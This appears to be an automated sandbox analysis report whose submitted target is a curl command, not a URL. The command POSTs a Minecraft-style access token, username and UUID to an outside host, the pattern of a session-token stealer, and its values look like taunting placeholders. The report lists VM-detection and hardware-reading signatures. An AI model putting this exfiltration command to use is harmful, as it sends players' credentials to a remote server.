General
- Target http://curl -X POST http://thisisafalsepositive.st/shard/prefireMc \ -H "Content-Type: application/json" \ -d '{"accessToken": "06xaxxf5-44e4-4226-s5to-pca90e38aaf5", "mcUsername": "xx_corsa_xx", "mcUuid": "stop_hacking", "gameDir": "nah", "env:": "fabric",}'
- Sample260925-thrdbafe24
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
http://curl -X POST http://thisisafalsepositive.st/shard/prefireMc \ -H "Content-Type: application/json" \ -d '{"accessToken": "06xaxxf5-44e4-4226-s5to-pca90e38aaf5", "mcUsername": "xx_corsa_xx", "mcUuid": "stop_hacking", "gameDir": "nah", "env:": "fabric",}'
Resource
ubuntu2404-amd64-20260127-en
8 signatures
300 seconds
Malware Config
Targets
-
- Target http://curl -X POST http://thisisafalsepositive.st/shard/prefireMc \ -H "Content-Type: application/json" \ -d '{"accessToken": "06xaxxf5-44e4-4226-s5to-pca90e38aaf5", "mcUsername": "xx_corsa_xx", "mcUuid": "stop_hacking", "gameDir": "nah", "env:": "fabric",}'
-
Checks hardware identifiers (DMI)
Checks DMI information which indicate if the system is a virtual machine.
-
Reads hardware information
Accesses system info like serial numbers, manufacturer names etc.